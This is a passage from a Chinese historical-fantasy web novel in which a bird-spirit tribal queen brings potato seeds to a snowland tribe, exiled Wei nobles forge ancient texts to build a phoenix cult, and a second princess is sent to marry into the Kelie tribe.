林一没再问下去,格桑在黑石部落待了十多天,期间苏赫铎带着大批物资过来安置黑石人,然后折返。运物资当然不是一趟运完的,预计要跑四五趟,可真是要了命了,格桑就是跟着苏赫物资队返程的。林一倒是住下了,她是个挺有责任心的鸟,而且看着雪地里一个个帐篷支撑起来,安居乐业,真是一件成就感爆棚的事。 中原王朝的春四月,雪域还是大雪纷飞,但气候暖热了不少,林一隔三差五回苏赫部,大多是夜间回白天走。直到初三这日,她夜里鬼鬼祟祟飞回来想吃点好东西,结果睡帐那侧没有人,议事大帐却难得点了许多酥油灯。节俭的苏赫阿那很少会这样,林一看了看帐外满脸喜色的亲卫,刚想问,一个亲卫就按住其他想要说话的人。 按人的是个叫阿克的亲卫,他是阿依的哥哥,叶利诃和格桑的儿子,阿克做了个杀鸡抹脖子的动作,眼珠子都要瞪出来了。大喜的事情是咱们应该提前告诉可敦的吗?进了帐子可汗不会开口吗?就显得你们能! 林一不管亲卫之间的眉眼官司,把头往帐子里伸,只见议事大帐中间,地豆堆叠如山,一群人围着地豆打转。苏赫阿那面上是难掩的喜色,他性情沉稳,又内敛少言,平时连笑都少有,就算是林一很努力地哄,最多也就是一些嘴角上扬,是浅笑的。但是今天,他整个人闪闪发光一样,很不客气的,林一想到了活色生香四个字。 克托万骑长位置正好,一抬头看到帐帘里伸出个脑袋吓了一跳,手里的地豆都滚到地上去了。乌苏小王子难得也在,他像个小山羊,几步蹦跳过去给林一掀帘子,很激动地指了指地豆,又指了指众人,然后成功地因为过于激动而哑了嗓,一句话没能说出来。 不过林一明白了,“地豆丰收了?” 众人顿时炸开了锅,纷纷想和林一解释些什么,林一一摆手,她也是从堆积如山的地豆丰收时节一趟趟偷来的根茎种子,她难道不知产量吗?林一几步上前走到地豆堆前,伸手捏起一只查看,长势极好,咬一口是脆生的,和她在产地吃到的几乎没有什么区别。 苏赫阿那先开口,笑道:“今早有人家发现羊吃了地豆植株,想拔出来看看长势,结果刨出一大窝来,之前清仪说地豆成熟需要三到六个月不等,具体要看品种,不曾想这就是早熟的优种,两个多月的时间就已经成熟。” 太阳十月历的星球,两个多月也就是七八十天,林一偷种子的时候没想那么多,但地豆的产地,人家靠地豆当主粮,和魏人种粟麦稻米一样,是驯化选种了很多代的。在地豆的产地,几个小国联合立法禁止外来商人买种,也禁止私下买卖,抓到就绞死,以这样的严酷手段防止地豆外流。虽然林一的行为构成了严重的犯罪,但是她非常努力地迈过了良心道德的谴责。 这是值得的! 地豆丰收带来的喜悦后劲很足,雪域部落在冬季很难有这样的热闹,正常部落不饿得脸色发青就不错了,哪有精力折腾这个,但是今年的苏赫部是真的比过年还欢腾。 地豆被正式更名为土豆,主要是因为雪域语的发音,说地豆是有些绕嘴的,很多人会秃噜嘴说成土豆,在这个情况下,改个名字如同改了个出身。大家都只是宣传赞美可敦带回了土豆种子,至于在哪带回的,怎么带回的,嗨呀你这人好烦啊!都说了可敦拾嘞!可敦在地里头拾嘞!再问把你种地里头! 在留了大量的土豆种子之后,许多人家都开始吃土豆,关于土豆的做法,最早是当成果子一样生啃,但很快就有人开始往火里埋,或者炖肉的时候切一两个,这时苏赫部人才发现,土豆这个玩意儿它不光好吃,还怎么做都好吃。 风雪交加的天气,王澈的帐子里,他躺在床上安睡。 他长了一副完美的面容,即便是在平躺的时候,鼻孔朝外,两腿一条内弯一条向外大撇,睡相极差,但配着脸看就是很舒心,是绝对的美姿容。几个世族青年就凑在他的床尾,在他的帐子里围炉煮奶茶,烤土豆吃,谓之风雅。 主要是他们的帐子没有风雅的条件,王澈来得早待遇好,他的帐子还蛮大的,可以收留一些人,玩累了就各自回帐子,都没关系的。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 伴着美人睡景,外间风雪,帐里温暖,围炉煮茶,吃吃喝喝,总之众人心情都不错。 崔殊剥了一个烤土豆,他是个爱干净的人,土豆在雪里洗净,用一层湿土壳包裹再放进火堆里,等能吃了敲开土壳,里面的土豆还是干净的。崔殊吹着热气,一口咬下,软绵绵微沙的口感,他都想作一首颂词了。 姜命很熟练地用火钳往炉子里添了几块干牛粪,他眼神诚恳,目光清澈,对众人说道:“我们现在的情况,有一些复杂,大家有什么想说的,可以畅所欲言。” 这几年魏帝萧宏大肆打压世族,耗资两个儿子,手段也很高明,属于阴谋阳谋搭配着来。一个大世族通常也是一郡之郡望,在地方上有不浅的根基,世族子弟代代精心教养,郡中若有寒门的人才出头,往往冒不到皇帝面前,就先被世族以婚配笼络。等人才再次出头时,就已经是某某世族的东床快婿。 倘若有不肯的呢?结不成亲,那就结仇!世族会不惜代价直接打压,寒门不知多少代才能出一个振兴门楣的人才,想打压下去却很容易的,极少极少有人能在当地郡望的打压下出头。 萧宏打压世族也是这个道理,一个世族也是举族之力从宗族里挑选出最优秀的宗子,等宗子历练多年再接过族长之位。想打压这个世族,就先给予宗子之类的优秀者优厚的官职待遇,然后挑个错处贬官或流放,往往是些不轻不重不会影响到世族根基的错处。 只处理掉几个宗族中的机敏聪慧之辈,如同修剪掉一株花束中最漂亮的几朵,看起来还是花开不败之景,实则已经开始颓势。 其实这事魏帝已经不着痕迹做了好些年,起初只敢坑一坑中小世族。真正来了个大的,则是当初召瑕丘王氏族长入洛都任太子太傅职,然后反手扣给太子一个谋逆大罪,以瑕丘王氏为首,牵连太子属官党羽上下十几个世族,六年前这一把可给老头尝上甜头了。 瑕丘王氏之后,同样的手法同样的套路,倒霉的则是一年前的开国三公庞氏一族,庞氏可没防备老头挥刀,他们是洛下大世族,没有自身郡望根基,属于是依附于皇权的勋贵世族。 庞氏枝叶繁茂胜于王氏,是可以载入史书级别的“世出高官,代代显贵,长盛不衰”。庞氏历代事魏,出文官也出武将,朝堂上盟友颇多,于是为了斩草除根,男丁全部株连坐死,女眷流至边关又经意外。兜兜转转,只剩下庞半天和庞杀两姐妹,眼看着已经是一族之末路。 在这里围炉煮茶的基本没有王庞两家这么惨,还是属于魏帝常规操作的那一批,即通过打压世族中的有能者来达成平衡世族权力的目的。 其中,崔殊是范阳崔氏之宗子,姜命是辽西姜氏庶脉中的最优者,两人在被流放前都是年纪方轻的洛都四品官员。另外有蒋韩沈许四族,蒋家的是一对亲兄弟,沈家是一对年轻小夫妻,许家的是一个兄长带三个妹妹,韩家的是个远嫁的贵女。去掉死去的赵家母女,这一行二十几个倒霉鬼,剩余的就是些丫鬟书童了。 崔殊不开口,只是吃土豆,其他人也都沉默,姜命再次诚恳道:“客居在此,夜不安枕,难道就这样厚颜胡赖一世?神鸟大人救我等性命,就算不提报答,诸位有谁不是背负罪名被贬来边关,有谁能清清白白回返故国?” 蒋家的小公子蒋脩看起来还是个少年模样,曾问过林一神鸟故事的那个,等姜命说完,他就急着说:“我自然愿意留下来报答神鸟大人,只是此地是异族之地,我等皆为魏人,神鸟大人又是部落可敦,这是会叫雪域人想起靖容公主旧事的!” 听得出来他深思熟虑过了,还研究过雪域的历史,蒋家长兄蒋攸也道:“我们不是不愿为可敦效力,萧君弃我如草芥,我视他如仇寇有何不可?只是一来带累家族,二来恐弄巧成拙反害可敦……” 众人的谈话没把王澈吵醒,他是被奶茶和烤土豆的香气弄醒的,一睁眼就看到众人聚在他床前不远,一人一个草墩墩在那边围着个炉子,跟个招魂的萨满仪式似的。 他揉了揉眼睛,打了个很大的哈欠,仅凭借醒来时听见的蒋攸后半句话就判断出众人的话题,直接说道:“洛阳最穷的寒门子弟写个桃色本子去卖,都知道取个化名,诸位准备实名在雪域做官迈?” 这话真提醒了众人,然后气氛一下子就热烈起来,仿佛之前的凝重全是表面功夫,象征性地表达了一下对魏帝这个旧主的不舍之情,众人马上忙着商议取个什么名字合适自己。 王澈不意外,世族的教养就是这样的,儒学所说君君臣臣父父子子,雷霆雨露俱是天恩,说说罢了,都是糊弄皇帝老头的东西。甚至儒学的精髓就是糊弄皇帝,这也是他认为《女诫》是儒学大成之作的缘故,这书拿给皇帝看都不出错,许多君子还觉严苛,不是再三品读,哪能品出里头的“糊弄学”之精髓?教蠢人教条,教聪明人糊弄,这就是儒学。 所谓世家风骨,也是表面一套,真到了绝境,赠妻献女,谋子孙后路,什么花招都会有。当然,一个宗族有几个聪明人就够了,这种精髓套路绝不可以普及到所有族人的层面,相反还要严格规训,把死教条压进蠢人的脑子里,蠢人只需要体现风骨。人和人的心智有时候比人和狗的差距还要大,如同庞氏末途,在山贼窝里寻死的那些女眷,死的便死,活下来的是聪明者就够了。 一个聪明人是祸害,一群聪明人是坑害,只看主君厉不厉害。王澈又打了一个大大的哈欠,往后倒头便睡。 四月初七,天晴雪,姜命等候了一整日,终于在傍晚等到了俯冲而下的林一鸟,哦,她现在自称是凤鸟了。 凤鸟来往部落这些时日,众人也都习惯了,住在外围白羊帐的骑兵家庭最多觉得部落里养了只大怪鸟,能亲眼看到林一变形的还没多少,不过该知道的已经全部知道。 在土豆之前,或许如叶利诃克托这些人会心有疑虑,但现在家家户户分得一些土豆种子种在帐子里,亲眼见过土豆丰产之景,谁敢说一句精怪,把谁种进地里去! 几千年除了撒点牧草草籽没往地里求过东西的雪域人,经历过土豆大丰收之后,不知从基因里觉醒了啥玩意儿,每天放牧都在盘算这块地化雪后能不能种上东西,谁说鸟丑鸟坏?这鸟可太好了,这明明就是魏人书里总写的那什么、祥瑞! 姜命还把他编的那一套圣德之鸟传说架骨填肉,往各种描写神鸟的古籍里加设定,为此还重新默写编撰古籍,把什么鲲鹏朱雀金乌毕方鸟全都往后稍了稍。然后又博采众神鸟之长,简称偷设定,昧下鲲鹏的鱼鸟双形态,毕方不食人间五谷,金乌只在神树上栖息之类的习性食性,直接把凤鸟按在古之神鸟第一的位置上,坚定凤为群鸟之王的立场不动摇。 林一亲眼见证了伪史的创作过程,不仅不批判,反而爽得直拍翅膀,对对对对!就这么写!多给鸟大王来一些! 姜命最后的设定是这样的:凤于王兮,群鸟从之。凤性孤傲,非竹实不食,非梧桐不栖,非甘泉不饮。弱水濯华羽,碧海下九重。凤有圣德祥光,见之天下安宁。 林一拼命点头认可了这一版的设定,然后姜命就开始造假,准备一批空白竹简,一刀一刀刻上古文字,火烧水煮刮青打磨做旧,然后土埋一段时间再拿出来上油保养,看着就是一批批货真价实的古籍藏书了。 除此之外,姜命还建议在林一掌控的辽东郡先行植入一些这样的概念,以同框拉踩等世族常用手段,让凤对标黄帝的龙图腾,将龙凤并称,以此迅速提高凤的地位和知名度。还可以编写一些龙凤相争,龙凤和睦等小故事作为宣传,龙是魏人所熟知的神话生物,以龙作为对手或者朋友,这凤鸟的档次不一下子上来了吗? 林一越听越震撼,露出了乡下鸟没见过世面的嘴脸,最后,姜命露出凝重的神情,说道:“凤君有武德,攻城得地,惠及庶民,但眼下无忧不代表未来无事,魏朝对辽东贼心不死,必会相争。得地还需治理,姜某不才,非为自己,而是为凤君之大业着想,姜某愿代任辽东郡守,为凤君守土安民,绝无私意。” 他这话可以推敲的地方非常多,私人情感也表露得很明显,之前还是魏臣,反手就来一句“贼心”,他也不称神鸟大人,也不叫苏赫可敦,更不以林一冒领的公主身份为准,以殿下相称,而是称为“凤君”,直接说出“大业”二字。 林一反正听懂了表面意思,姜命想去管辽东郡。她思考了一下,现在苏赫部落在辽东放了几千号骑兵,和克烈部差不多规格,这其实属于战备状态了。如果辽东真能安稳下来,这部分人手可以抽回来,由辽东这边自己出人力来抵御魏朝,才是省心省力的事,好像确实需要一个聪明的郡守。 不算上姜命为她编写古籍伪史的功绩,这事目前在林一这里就是个人编鸟信鸟开心的小事情。 她是听说姜命在没出事之前是个很有能力的官员,从不出错,本身就是个已经成熟的人才。唯一可能需要担心的是姜命是不是真的愿意和她干,但人和鸟之间还是要多一些信任,万一叛她,飞去啄死。 夜色下,林一流光溢彩的圆瞳盯着姜命的眼睛,然后拍拍他的肩膀,鼓励道:“好好干,一定要对庄稼人好点,大家都很辛苦的。” 姜命折身下拜。 第62章 四月初八,雁门郡雪化春水,花开半月有余。正值黄道吉日,良辰佳时,雁门大将杨裳开祖坛祭祀,请了诸多郡望乡贤长者来观礼见证,正式收江骋为子。 改姓易宗从来都是大事,义子有时也会改姓,但从法理上来说,义子不具备继承家族的条件,杨裳自打过了三十五岁,宗族里就有许多人家想叫他过继同姓小辈为子,被他一概无视。 杨裳是个性傲之人,无子就无子,既然自身血脉注定无人传承,那就挑个最好的。杨家那些庸碌小辈他一个都看不中,偏偏看中江骋年少英姿,用了许多心机手段,刚柔并济,迫他应承。 自河间郡折返雁门,今日江骋一身黑衣跟随在杨裳身后,俊丽面容沉冷如冰,但一丝不苟完成各式礼节。到最后杨氏宗祠前一一拜过祖先灵牌,敬香叩头,礼成之时有钟鸣三下。 杨裳露出慈父的笑容,亲自从蒲团上扶起江骋,沉声对众观礼者说道:“我与骋儿前世修缘,得今生父子之情,敬请诸君见证。” 江骋沉默片刻,哑声开口,叫了声父亲。 之后还有改名改字等,江骋都没怎么注意,脑子里纷乱,甚至记不得杨裳给他取了什么新名字。接下来四五日沉郁,到第六日,杨裳忽然派人来邀约,带着江骋去了郡中驻军校场,江骋熟知兵事,远远地在马上看见校场内的情况,就知道是军演。 雁门郡作为边关重地,杨氏数代经营,没有其他关隘常见的吃空饷喝兵血等污秽事,万军的规模一分不差,士卒脸上都有康健血色,春寒料峭,身上衣裳厚得实在,军演非常有气势。 江骋沉默了一个早上,看完军演,杨裳笑着说:“我儿心情不好,为父能够理解,你有骨气有志气,为父只是你迫不得已的选择。莫自轻,觉得你是为了名利放弃了什么,年轻人总会想不开,可是为父告诉你,男儿在世,若无些权势傍身,等同白活一世!” 江骋看向杨裳。 杨裳接过亲卫手中的鼓槌,在校场高台座椅上起身,走到鼓前重锤三下。忽从校场南侧传来马蹄人声,有骑兵三千之数奔涌而出,绕场飞驰,呼啸震天,江骋起初不明所以,直到看清骑在马上的士卒面容,浑身一震。 江骋送嫁的人手之中,有百名江家部曲,副将周鹏也是他的家将。在魏朝禁军的人手回洛都复命后,江骋也遣散了剩余部曲返乡,他已经没有足够的家财供养父叔留下的部曲。更早之前江家黑水军非常出名,黑*水军的核心就是三千部曲,再从魏朝兵卒中遴选万余步兵,步骑协同,军阵变化,以此构成江家双虎共镇三关的底盘。 杨裳轻拍江骋的肩膀,柔声说道:“这些是为父能找回来的黑水军部曲之后人,九成是跟过你父叔的老部曲的儿孙。唉,养这些青壮还好,战马可不易得。今日之后,这三千骑兵便是你的部曲,我儿,你可满意?” 这般深恩厚谊,慈父柔情,不计付出,真似个再生父母,再冷硬的心肠也要动摇的。 江骋单膝跪地,抱拳为礼,重重地拜下。 杨裳又亲自把江骋扶起来,让他坐在侧位,这才示意骑兵们退去,对江骋说道:“我儿,大胜克烈部之事,朝廷已经为你列功。你是自校尉累职,所以加封你为四品武官,从属千人,雁门郡内你可调动这三千兵马,出外只可带兵一千,免叫人说嘴。” 江骋的眼神已经破冰,用一种黑沉如水的目光看着杨裳,闻言只是点头。 杨裳略微沉默,又笑道:“去岁陛下嫁女苏赫部,今年还是喜事,今早才收到的消息,陛下要将皇后嫡出之六公主嫁与巴特铁木尔王子,到时途经雁门,也是场热闹看。” 江骋一怔,随即低声道:“阿父,静宁公主惨死铁木尔之手,如今又下降六公主,实有些示弱了。” 他可不是觉得和亲公主可怜,而是认为姐妹同嫁一人,还是在静宁公主明显被虐杀而死的情况下再嫁六公主,一国之尊严何存呢? “我儿,你打了克烈部这一仗,大胜!胜者若不能乘胜追击,那就只能打一顿,揉一揉,以免狗急跳墙。拔都老儿年老昏聩,巴特铁木尔是他心属的继承人,笼络住他也就笼络住了克烈部。”杨裳又笑,“何况苏赫部落拒不交还辽东,陛下有意挑唆两狼相争,给克烈部一些实际好处,叫他们内斗去吧!” 江骋点头,已经认可了杨裳的教导模式。 辽东辽西一线之隔,如今正在新建长城,一个冬天过去,春耕在即,建墙的人少了许多,但还是有人每日奔波来回,干得有声有色。 姜命上任之后,走访各城,基本弄清楚了辽东郡的情况:世族势力被粗暴地打扁,不分贵贱只按劳力算田亩,上等田全部分给二三十岁正当盛年的农民。乡间的宗族势力没有清理,但因为利益交在青壮手中,各处村镇形成了一个权利对峙,暂时和平。而城中则是处处寥落,人口稀少,百业不兴。 不算好的情况,也不算坏,他是有牧民经验的。这个牧民可不是放牧的部落民之意,在魏朝的语境中,牧是管理之意,一郡之长称郡守,一州之长称州牧,很可惜他没有做过郡守的经验,只管过县级。 这不是能力问题,而是身份政学,郡守通常不是朝廷任命的,朝廷名义上有权任命郡守,实际上郡中对空降的郡守不满意的话,那么人根本到不了地方上就会出意外。被山贼水贼砍死是基操,还有些喝水呛死,走路摔死,背中八刀死因自尽的荒唐死法,这就是警示了,通常一地的郡守就是当地最大郡望的族长或宗子。 姜命先选调官员,世族出身是无法避免的,非世族不识字,但人选上可以斟酌,比如举族只剩下几个孤儿的,比如和娘家有仇怨的贵女,再比如一些出身不好的庶出子女。 他有相面的本事,从小学的,有天赋有经验,相面是一门非常深的学问。相由心生,心胸狭窄的人头尖额窄,嘴角会自然下撇,越向下越糟糕;脾气不好的人眉毛会杂乱无章,眉有缺更是破败之相,若是眼有三白,眼角垂挂就更凶恶;刻薄戾气之人脸型五官多尖锐崎岖,形状多锐角,耳骨逆透而出。若是女子寻夫郎,遇此三者要避让。 一个常年心平气和,行事有条理的人往往脸色红润,肌肤白皙,五官协调而眼神明亮,鼻宽嘴阔,嘴角如仰月上扬,下唇微厚于上唇,隐隐有笑意,谓之“仰月口”,这种和善官相是最适合做牧民官的。 倘若是那种眉如利剑,高鼻薄唇的就不适合了,虽然是符合魏人审美的英武面相,但眉有锋脾气烈,高鼻梁自尊强,薄嘴唇寡人情。掌权之人再添杀伐气,是百姓的冤孽,但这种人就非常适合从军伍,掌刀兵,属于“武将之贵相”。 或者说相面不是预言之术,人的面相会变化的,是人先有各种性格想法,长在面上,再通过相面去识得这个人。当然,少年人不相面,因为少年面相看父母,直到这人形成自己的性格特质后,五官定型,才可以看面相。 相面之术很少会失败,即便很会伪装,人内心的想法也会逐渐体现在面目上,何况姜命又不是纯靠相面识人,每逢任命重要官员,他都会先带在身边观察相处一段时间。他不是纯粹挑好面相,刻薄较真的安排去管刑狱,能力浅薄但性格好的,安排走访村镇,剑眉星目的安排巡逻捉贼,这份杀伐气反倒可以让居民心安。 一郡之内,将可用之人扒拉个遍,尽是些边角料。毕竟被克烈部筛过一遍,又被林一锤扁一回,几乎剩不下什么有能者,姜命也有意降低世族影响,花费了一段时间,还真给他发掘出个庶民中的人才。 此人徐三,村里穷汉一个,自从得了粮,分了田,就每天在村里搞演讲,搞得有声有色。也是他提出聚齐人手去修长城,还真的给他聚拢了二三万人。徐三长得不算好看,但面相属于上等,是个可以掌权柄的长相。 姜命对徐三很看重,着人教他识字,平时带在身边教导,目前阶段真正交给徐三做的事不算多,主要是派他出去散布龙凤故事。先以龙对标凤鸟,编一些农民爱听的吉祥故事塑造凤鸟形象,等时机成熟,进行一些暗地里的拉踩,再以一些尊龙贬凤的极端言论招人厌烦逆反等等,种种细节之处不便多说,以免影响姜命的老实人形象。 春耕季节,雪域还是一片白雪皑皑,苏赫部落在少部分化雪区域种下土豆。牧民们每天都热火朝天拌肥料,还有不少人家把牛粪省下来做肥,情愿夜里受冻,但在大批黑石拉过来之后,情况就好很多了。 林一又出去拾了些种子交给姜命,让他在辽东试种,土豆在雪域的成功是非常令鸟振奋的事,但大部分的植物都很难在寒冷环境存活,土豆可能是最适合雪域的主粮,不过辽东到底气候暖热一些,有更多的选择余地。林一在各处转悠,走访调查,尤其查找那种不让外流的高产植物,最后交给姜命的除了一些五花八门的种子,最多的就是甘薯和苞米的种子。 甘薯种子圆扁扁,苞米种子黄灿灿,两样数目都不算少,对林一来说,反正比大块大块背土豆飞回来强得多。姜命根据土豆的成功经验,留了一些在室内种植,其余的按林一的吩咐种在一些下等田或者田埂荒坡里,不占用好田来种。 在辽东散完甘薯和苞米种子,林一拍打着翅膀飞过辽西郡,往下看到大片大片的田地,许多瘦弱农人正在春耕,看起来苦巴巴的。 一墙之隔的辽东人,忙活了一个冬天修长城,这会儿也在地里干活,但就是干劲很大,脸上有笑容。林一飞掠过去的时候,胸膛鼓鼓的,心脏在蹦跳,她尚有些懵懂,不明白这种陌生情绪是什么。 辽西之地,有些农人瞥见林一低空飞过,纷纷拉着干活的村民叩拜飞鸟,极喜悦地左右嚷嚷:“那是凤鸟啊!见之天下安宁的凤鸟啊!那是五彩霞光不是?快快快,都拜一拜,保佑今年五谷丰登,过冬家里不饿死人……” 鸟大王不懂的事就不放在心上,专心逆风翱翔,搏击长空,不曾听见田间小民言。 第63章 黄天大吉之日,皇后之嫡幼女玉华公主自洛都出发,远嫁雪域克烈部巴特铁木尔王子。 在这之前,五公主静宁惨死在巴特铁木尔手中,七公主玲珑逃婚而去,去向不明,还弄了个不知道哪来的女子替代,打了辽东拒不归还。魏帝萧宏一则为了羁縻克烈部,二则为挑唆雪域内斗,咬咬牙狠狠心,掏了大把的嫁妆。 这一行送嫁队伍人数超过万人,各种珍宝玩物美人不计代价,光是陪嫁的媵妾就超过百名。这些媵妾大多没有世族贵女的身份,但也精挑细选,同时公主属官五十人,也是精心挑选过的机灵人,就是世族之中最会拉着公子玩的那种书童玩伴。这些废物放在世族是祸害头子,但放到雪域去就很适合了嘛。 至于这些人会不会忠心的问题,魏帝暂时还没考虑到,毕竟芝麻点点大的小人物,能翻出什么风浪来。小人物们为了过得好点,那必然是努力争宠,把克烈部搅合得乌烟瘴气。 除此之外,比起萧玲珑的各处绕路而行,这次玉华公主一路穿州过郡,招摇无比,在各个郡望的地盘上穿行而过,显示皇权威严。 克烈部对接亲的态度比起上次明显要慎重许多,选择了一处水草丰美的区域安置帐区,骑兵接亲,邀请了苏赫部和塔塔尔部来赴婚宴。此时既不赶上夏秋,也不是可汗大婚,阵仗自然不会太大。苏赫阿那和阿勒坦穆尔都很给面子,反正雪域的大部落之间每隔一两年也会聚一聚,从前大多是在位于中部的苏赫部落,只是换个地方聚聚罢了。 三方约好赴宴人数,都没有带太多的人手,除了现在财大气粗但闷声发财的苏赫部,其他两部刚刚过了一个严酷的冬季,就算是青壮也瘦了一圈,带大量骑兵赴宴只会加剧行军消耗,也不能显示什么身份地位,都在雪域这贫瘠地域生活,谁还不知道谁? 事实证明两家还是不知道苏赫部的底细,临行前苏赫阿那特意带的是这两年的新骑兵,大多是少年和刚刚长成的青年,面孔青涩,带常备骑兵的话……不太可,全是些满面红光嘴上泛油的狗东西。 林一是个很喜欢凑热闹的鸟,提前三天就开始收拾行军用具,苏赫阿那这趟将苏赫铎留在部落里看家,请了王澈从旁看顾,带上了苏赫忽律和小王子乌苏。那一批世族青年之中,只有病歪歪小胡子崔殊崔异人,以室友远赴辽东,一个人在帐子里无聊等理由申请随同,也被带上。 婚宴区域距离苏赫部仍然不远,巧合的是距离黑石部落很近,大概是骑兵跑个半日的距离。 路上,苏赫阿那对林一说:“这趟要与穆尔汗详谈黑石部落的事,矿奴反复,但地远难攻,又是被你收服,塔塔尔部应该没有报复的准备,但需要给个台阶下,不落他们的颜面即可。” 人情世故,人情世故。 林一咧嘴笑道:“这趟回去就打他们了,还要给他们颜面?” 这话不是疑问句,是个玩笑句,苏赫阿那也知道这是没话找话,但还是沉稳点头,灰蓝眸子看向远方,“嗯,越要动手之前,态度越要温和,必要时候可以和克烈部发生争端,假意拉拢塔塔尔。” 道理简单,但人在局中时是很难看透一些事的。林一骑着肥壮的马王,顺手撸了一下马耳朵,大耳朵还抖了几下回弹。她也看了一眼远方,圣湖很漂亮的,很适合让尊贵的凤鸟去快乐打渔,公主城也很漂亮,适合冬天住一住。 林一的马后不远,苏赫忽律浑身气不顺,一直撇着嘴巴,把火气往乌苏身上撒,“巴特铁木尔都娶第二个了,第二个了!你十七了,前日人家阿真娜找你去她帐子,为什么不去?你会不会干?还是不是男人?整天就知道跟着那些魏人跑!也没见你和哪个魏女有进展。” “阿真娜只是和我开玩笑,她喜欢王先生。”乌苏把马头别开一点,显得有些不情愿和二哥并马走,小声嘀咕着说:“我只是还没想过那些事,可是我也没见过二哥去找姑娘宿夜,为什么说我不说自己呢?” 苏赫忽律一身劲装系绸缎披风,装束都是林一抄世族抄来的,非常华贵。他人骑在马上,顾盼神飞,鹰扬虎视,非常骄傲,胸口挺起,“我和你如何相比?我有大业未成,女人只会影响我的判断,我不愿被感情左右,一旦有了女人就有了软肋,倘若敌人抓住我的女人来胁迫于我,那又当如何?是放弃大业,还是放弃女人?” 他设定的这个情节在普遍没什么娱乐活动的雪域,堪称跌宕起伏。情谊与霸业难全,让乌苏的心都揪了一下,不由得代入自身,他肯定选择心上人,而二哥这样做大事的男人就不一定了,感情果然会是软肋。 苏赫忽律沉声说道:“所以我不能被女人所拖累,但你可以,乌苏,你找个女人生几个孩子,我会照拂你一辈子,谁让你和我是同母所出的亲兄弟呢?我们有相同的血缘,我是你最亲的兄长,即便你庸庸碌碌……唉!我现在已经能够接受这个现实了,不会逼你太过。” 乌苏有些感动,又觉不对,王先生对二哥的评价明明是那个什么东西来着,可是二哥的样子真的好威风,好霸道。 现在距离苏赫部已经有一段路程了,王澈的脸没有出现在面前,乌苏现在看着二哥的脸,渐又觉得可能是两人之间存在什么误解。 苏赫忽律没有再去看蠢笨的幼弟,抬起头看着林一的背影,想起之前被她故意惊吓的那一回,再次感觉浑身刺挠起来。他跟别人不同,在土豆之前就见过林一的鸟形,第一印象就是心很坏的大丑鸟,结果现在所有人都说这鸟如何如何好,给他整不自信了。 二王子狐疑地想,难道他的审美真的有问题?可他的群贤谋臣们最开始也说那鸟丑的,最近问他们,却都不肯认了,还纷纷说那是世上最好看的鸟,但他只觉得奇形怪状跟拼起来的一样。 真的很好看迈? 雪域上仍然还是大片大片的积雪未化,但已经有青草丰盈的地带,苏赫部千骑到来之时,草地上新立了许多帐篷,围绕着克烈部的移动行宫金顶大帐构成一个圈。等苏赫部的黑帐立起,又渐有小部落靠近立帐。 玉华公主的车队来得比想象中更晚,苏赫阿那到来后过了六日,连远在圣湖的塔塔尔部也带了大约千骑过来赴宴,仍旧没有见到接亲的骑兵返回。 雁门郡外,杨裳完全没料到还有他的事,公主车队过路雁门时,属官拿出萧宏诏书,命杨裳调兵五千,以护送公主的名义去雪域赴宴。未尽之语是叫他拿捏分寸,恩威并济,显示出魏朝上国的威风。 杨裳差点气死了,雪域贫瘠沿途无补给,五千士卒什么概念,每人要携带多少军粮往返,是拉大车押辎重,还是配备马匹?该给的都没给,什么都没到位,一份诏书就要他带半数精兵长途跋涉去雪域抖威风,换个吃空饷严重的大将军,要带五千兵丁走,这不直接倾巢而出了吗? 当然,这大概也是选杨裳的原因吧,不然怎么不让玉门那边的郑北山去呢?魏帝萧宏心机手段都不差事,就是年轻时被世族压久了,一朝翻身逐渐掌权心态变化很大,老来抠,总想着花小钱办大事,能亏臣子的绝不亏在自己身上。 这趟雪域之行,杨裳自然带上了江骋,不仅带上江骋,还因为是赴婚宴,杨裳亲自回府一趟,请了自家夫人王清云一道北上入雪域。 萧玲珑以幂篱遮面,跟随江骋一起,她其实不愿去雪域那种地方,她和江骋在不久前成婚,杨裳和叶氏军中脉络并无关系,只是看重江骋,他反倒劝过江骋几回,放弃萧玲珑,送她去董老夫人处或者找个地方妥善安置就罢。但江骋不愿,杨裳只好让萧玲珑冒了雁门郡中一户世族贵女的身份,为江骋明媒正娶她为妻,同时作为杨氏宗妇。 如今她是杨裳名义上的儿媳,连常年府中修道的便宜婆婆都要出行,她自然也不能例外。 不过要去雪域的坏心情比不上看玉华公主倒霉的心情来得畅快,当初和亲时她百般不肯,可无论如何争斗都没有用,萧玉华是皇后嫡出,她丧了祖父,那时这做姐姐的多得意,嘲弄她会一去不回。可如今呢,萧玉华不还是一样去和亲,甚至嫁的还是打死过静宁公主的巴特铁木尔。 这一行车队再编入五千兵丁,要携带更多的辎重,抵达婚宴地点时,巴特铁木尔已经非常暴躁了。因为许多中小部落带来的食粮少,婚宴迟迟不开——废话,哪有没开婚宴前就把带来的食材吃光的道理。 已经有不少部族冒着得罪他的风险也要告辞了,等个婚宴等了半月有余,冬季才刚过呢,谁家有余粮耽搁在运输路上。 还有一些部落只来了几十个人的,就很安然,没吃的了到处蹭一蹭就可以饱肚,尤其是苏赫部落最大方,去了就管吃饱,在这种情况下,拔都可汗也拉不下老脸。即便新娘还没到,也还是命人杀牛宰羊建炉灶,草地上空终于飘起了油脂的香气。 公主车队在开席三天后终于有了音讯,然后在第五日抵达,接亲的克烈骑兵走在最前面,后头魏兵分三个军阵护持在左右两侧和后方,公主的车驾在队列中段,其后是规制相差不多的媵妾车。媵妾的车帘拢起,能看到里面的情况,都是些盛妆美人,两人一车或三人一车,有的怯弱可怜,有的言笑晏晏,不同的美人不同的颜色。 后头行军辎重不提,用红绸扎束的嫁妆箱笼是真的多,完全有魏人诗中“十里红妆”的奢华排场,马驼拉车,绵延不绝。 列席的部落人虽然多,但这会儿还真没什么喜庆的氛围,可能马奶酒喝多了,尤其看着魏朝公主浩浩荡荡的嫁妆车队,那嘴巴里的味道就更酸了。 苏赫部多是些年轻人,看着感觉很愤怒,虽然说我家可敦不是你魏帝的亲女儿,但你退一万步讲,可敦是不是替你女儿和亲来的?你再退个一万步,都是女儿,怎么这个规格相差这么多?你再再退个一万步,是不是该补几个郡做嫁妆? 第64章 辽东郡对苏赫部来说是一块飞地,所谓飞地,距大本营过远或周围被其他势力包裹,无法直接连通本部的地盘。 要管理飞地是很难的,苏赫部虽然陆陆续续回返了一些骑队,但现在还是有三千骑兵在辽东巡防,而隔着辽河辽泽天险,距离又远,使得辽东无法和雪域通商。克烈部打辽东是为把辽东当成粮仓用,可是林一不收高额粮税,那么能获取的利益就有限。 